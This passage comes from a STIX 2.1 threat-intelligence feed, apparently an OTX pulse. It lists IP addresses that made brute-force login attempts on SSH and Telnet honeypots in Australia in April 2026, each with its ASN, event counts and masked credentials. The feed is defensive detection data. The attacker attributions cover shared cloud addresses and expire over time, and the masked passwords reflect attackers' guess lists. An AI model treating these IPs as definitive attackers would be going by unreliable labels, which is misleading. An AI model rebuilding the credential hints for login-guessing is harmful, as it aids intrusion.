      "valid_until": "2026-05-30T05:15:09.000Z"
    },
    {
      "created": "2026-04-28T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, h******!, r********6.",
      "id": "indicator--784ccf7b-a3d6-4db7-9f3f-15a59dc0b7d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.27.202.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T05:15:12.000Z",
      "valid_until": "2026-05-30T05:15:09.000Z"
    },
    {
      "created": "2026-04-28T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 47359. Organisation(s): Tvoi Net Ltd..",
      "id": "indicator--a3700e39-0e9e-4f4a-8b87-28872f54957f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.193.93.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T05:15:12.000Z",
      "valid_until": "2026-05-30T05:15:09.000Z"
    },
    {
      "created": "2026-04-28T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 189. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 57568. Organisation(s): Arvancloud Global Technologies L.L.C. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********E, 1********@, 3***********4, 3**********4, 7****9.",
      "id": "indicator--564776cb-74d1-4d25-be29-e2e2f97ebb21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.185.123.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T06:15:05.000Z",
      "valid_until": "2026-05-30T06:15:04.000Z"
    },
    {
      "created": "2026-04-28T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********6, H**********************3.",
      "id": "indicator--faba82c7-97a8-4b8a-a7f0-fd4f6e96a6b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.77.61.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T06:15:05.000Z",
      "valid_until": "2026-05-30T06:15:04.000Z"
    },
    {
      "created": "2026-04-28T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--6b57b974-65ce-40c1-9b01-0b33ce04a03d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T06:15:05.000Z",
      "valid_until": "2026-05-30T06:15:04.000Z"
    },
    {
      "created": "2026-04-28T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--499e3123-d776-4e3e-b5a2-5de9ded0f555",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T06:15:05.000Z",
      "valid_until": "2026-05-30T06:15:04.000Z"
    },
    {
      "created": "2026-04-28T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t. Passwords observed (masked): L******6.",
      "id": "indicator--e62df43d-eead-47e1-af0f-52fd0962f6d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.189.234.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T07:15:11.000Z",
      "valid_until": "2026-05-30T07:15:09.000Z"
    },
    {
      "created": "2026-04-28T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, 3**********4, r******r. Passwords observed (masked): !**************r, 1****a, 1**********E, 1********y, 1**********c.",
      "id": "indicator--28d31c85-2f7d-4509-994f-ceafc7bb528c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.45.50.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T07:15:11.000Z",
      "valid_until": "2026-05-30T07:15:09.000Z"
    },
    {
      "created": "2026-04-28T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********8, H**********************3.",
      "id": "indicator--33b369d3-d0a5-4338-92dd-0018a05717e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.62.249.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T07:15:11.000Z",
      "valid_until": "2026-05-30T07:15:09.000Z"
    },
    {
      "created": "2026-04-28T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 51993. Organisation(s): LLC Telekompaniya Region.",
      "id": "indicator--fba77ff5-a82a-41e8-b2b7-a271f83cf48d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.149.57.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T07:15:11.000Z",
      "valid_until": "2026-05-30T07:15:09.000Z"
    },
    {
      "created": "2026-04-28T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--3de37a0c-beea-4234-85be-a066f2ea0238",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.134.151.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:15:11.000Z",
      "valid_until": "2026-05-30T08:15:09.000Z"
    },
    {
      "created": "2026-04-28T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--fde0f386-4abf-4f85-9b9b-4914ccfeadab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.41.97.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:15:11.000Z",
      "valid_until": "2026-05-30T08:15:09.000Z"
    },
    {
      "created": "2026-04-28T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): ********3, 1**********z, 3***********4, 3**********4, e******n.",
      "id": "indicator--65df5440-9582-40f4-a9ab-594148936c8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '163.7.9.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:15:11.000Z",
      "valid_until": "2026-05-30T08:15:09.000Z"
    },
    {
      "created": "2026-04-28T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4013. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u**r, a***n, u****u, d****y. Passwords observed (masked): 1****6, ***, *, p******d, 1**4.",
      "id": "indicator--d9aecb8b-15e8-46de-9bce-200d543ca9a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:15:11.000Z",
      "valid_until": "2026-05-30T08:15:09.000Z"
    },
    {
      "created": "2026-04-28T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26615. Organisation(s): TIM SA.",
      "id": "indicator--139f5af8-9623-41b5-88db-a19434c338aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.250.248.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:15:11.000Z",
      "valid_until": "2026-05-30T08:15:09.000Z"
    },
    {
      "created": "2026-04-28T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 85. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--9fe238ae-64f6-4824-a65c-dbe77c0bf75a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.190.78.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:15:11.000Z",
      "valid_until": "2026-05-30T08:15:09.000Z"
    },
    {
      "created": "2026-04-28T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t. Passwords observed (masked): K*********1.",
      "id": "indicator--ccafb263-e259-4e48-a433-0b0b489150af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.213.96.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:15:11.000Z",
      "valid_until": "2026-05-30T08:15:09.000Z"
    },
    {
      "created": "2026-04-28T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6, b******************************'. Passwords observed (masked): **, A*******************p, C********5, H**********************3, b**************************************'.",
      "id": "indicator--4984d082-b0aa-4031-b150-e24fca14118e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.205.3.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:15:11.000Z",
      "valid_until": "2026-05-30T08:15:09.000Z"
    },
    {
      "created": "2026-04-28T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--68f809b8-ccc3-44b9-85e1-a43b812bafd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.128.122.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:15:11.000Z",
      "valid_until": "2026-05-30T08:15:09.000Z"
    },
    {
      "created": "2026-04-28T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--aa5c1a38-7110-41fa-9ffe-b5cceee4e3c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.222.212.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T08:15:11.000Z",
      "valid_until": "2026-05-30T08:15:09.000Z"
    },
    {
      "created": "2026-04-28T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0*********3, 1*********., 3**********4, f*************0, r*******1.",
      "id": "indicator--fcd9e01f-1651-4925-877d-f2565397f299",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.239.250.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T09:15:13.000Z",
      "valid_until": "2026-05-30T09:15:09.000Z"
    },
    {
      "created": "2026-04-28T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 39351. Organisation(s): 31173 Services AB. Usernames observed (masked): d******m. Passwords observed (masked): P***********!.",
      "id": "indicator--76a5d6d3-292d-40b9-868a-d63648f2fbf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.213.155.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T09:15:13.000Z",
      "valid_until": "2026-05-30T09:15:09.000Z"
    },
    {
      "created": "2026-04-28T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CO. ASN(s): 10620. Organisation(s): Telmex Colombia S.A..",
      "id": "indicator--3d880acc-cc62-4950-b5cf-94daf54c61fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.87.33.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T09:15:13.000Z",
      "valid_until": "2026-05-30T09:15:09.000Z"
    },
    {
      "created": "2026-04-28T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--53b96072-56fe-4b52-be61-afefe492fc8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.182.139.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T09:15:13.000Z",
      "valid_until": "2026-05-30T09:15:09.000Z"
    },
    {
      "created": "2026-04-28T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52963. Organisation(s): JATIMNET TELECOM.",
      "id": "indicator--8bd043d6-89d0-44b0-b135-575ce26ef15f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.150.26.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T09:15:13.000Z",
      "valid_until": "2026-05-30T09:15:09.000Z"
    },
    {
      "created": "2026-04-28T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !****v, %**!, 1*******@.",
      "id": "indicator--6e2ee0ca-3163-488e-8d81-e7c4f38d1168",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.144.233.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T09:15:13.000Z",
      "valid_until": "2026-05-30T09:15:09.000Z"
    },
    {
      "created": "2026-04-28T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--670331ff-da6c-4525-bb1d-523f0b43c18d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.18.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T09:15:13.000Z",
      "valid_until": "2026-05-30T09:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AO. ASN(s): 328154. Organisation(s): NETSPACE. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 7******7, s******1, w****d.",
      "id": "indicator--c7972263-41bf-42b4-b1bd-a3ab059fd4e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.213.34.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 7******7.",
      "id": "indicator--a0827cd6-eac8-4bb3-a21b-9f8105cf017a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.145.238.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--754a0671-e8db-40d0-9a84-6d3555e8e42b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.196.56.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 51852. Organisation(s): Private Layer INC. Usernames observed (masked): a*******y. Passwords observed (masked): a*******y.",
      "id": "indicator--ab3e778e-5716-4857-8d10-9b3ef297571d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.43.133.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270638. Organisation(s): Sellnet Telecom.",
      "id": "indicator--6a93e6d4-79b1-435f-9199-6452e2765889",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.192.116.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 6147. Organisation(s): INTEGRATEL PERU S.A.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********v, 1*******1, 1********E, 3***********4, 3**********4.",
      "id": "indicator--51a9015f-0a35-4519-99fe-84f1eb29f523",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.65.191.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 7418. Organisation(s): TELEFONICA CHILE S.A..",
      "id": "indicator--3d77755b-a814-44b2-babc-4248080e30b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.105.109.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T10:15:12.000Z",
      "valid_until": "2026-05-30T10:15:09.000Z"
    },
    {
      "created": "2026-04-28T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 6400. Organisation(s): Compania Dominicana de Telefonos S. A.. Usernames observed (masked): r**t. Passwords observed (masked): b****b.",
